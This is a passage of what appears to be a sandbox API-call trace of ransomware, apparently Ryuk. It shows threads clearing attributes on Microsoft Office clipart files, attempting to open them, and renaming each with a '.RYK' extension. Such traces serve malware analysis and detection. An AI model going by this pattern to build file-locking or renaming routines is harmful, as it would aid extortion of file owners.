	[0195.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1469
	os_tid = 0x1ca4

	[0195.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF", dwFileAttributes=0x80) returned 0
	[0195.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1470
	os_tid = 0x1ca8

	[0195.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF", dwFileAttributes=0x80) returned 0
	[0195.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1471
	os_tid = 0x1cac

	[0195.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF", dwFileAttributes=0x80) returned 0
	[0195.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1472
	os_tid = 0x1cb0

	[0195.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF", dwFileAttributes=0x80) returned 0
	[0196.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1473
	os_tid = 0x1cb4

	[0195.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", dwFileAttributes=0x80) returned 0
	[0196.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1474
	os_tid = 0x1cb8

	[0195.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", dwFileAttributes=0x80) returned 0
	[0196.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.049] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1475
	os_tid = 0x1cbc

	[0195.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", dwFileAttributes=0x80) returned 0
	[0195.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1476
	os_tid = 0x1cc0

	[0195.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", dwFileAttributes=0x80) returned 0
	[0195.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.502] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1477
	os_tid = 0x1cc4

	[0195.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", dwFileAttributes=0x80) returned 0
	[0195.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.504] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1478
	os_tid = 0x1cc8

	[0196.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", dwFileAttributes=0x80) returned 0
	[0196.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1482
	os_tid = 0x1ce0

	[0196.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", dwFileAttributes=0x80) returned 0
	[0196.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1483
	os_tid = 0x1ce4

	[0196.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", dwFileAttributes=0x80) returned 0
	[0196.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1484
	os_tid = 0x1ce8

	[0196.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", dwFileAttributes=0x80) returned 0
	[0196.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1485
	os_tid = 0x1cec

	[0196.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF", dwFileAttributes=0x80) returned 0
	[0196.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1486
	os_tid = 0x1cf0

	[0196.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF", dwFileAttributes=0x80) returned 0
	[0196.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1487
	os_tid = 0x1cf4

	[0196.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF", dwFileAttributes=0x80) returned 0
	[0196.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1488
	os_tid = 0x1cf8

	[0196.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF", dwFileAttributes=0x80) returned 0
	[0196.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1489
	os_tid = 0x1cfc

	[0196.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF", dwFileAttributes=0x80) returned 0
	[0196.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1490
	os_tid = 0x1d00

	[0196.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF", dwFileAttributes=0x80) returned 0
	[0196.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1492
	os_tid = 0x1d14

	[0196.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF", dwFileAttributes=0x80) returned 0
	[0196.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.814] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1493
	os_tid = 0x1d18

	[0196.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF", dwFileAttributes=0x80) returned 0
	[0196.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1494
	os_tid = 0x1d1c

	[0196.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF", dwFileAttributes=0x80) returned 0
	[0196.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.826] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1495
	os_tid = 0x1d20

	[0196.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF", dwFileAttributes=0x80) returned 0
	[0196.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1496
	os_tid = 0x1d24

	[0196.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF", dwFileAttributes=0x80) returned 0
	[0196.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1497
	os_tid = 0x1d28

	[0196.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF", dwFileAttributes=0x80) returned 0
	[0196.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0196.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0196.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1498
	os_tid = 0x1d2c

	[0196.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF", dwFileAttributes=0x80) returned 0
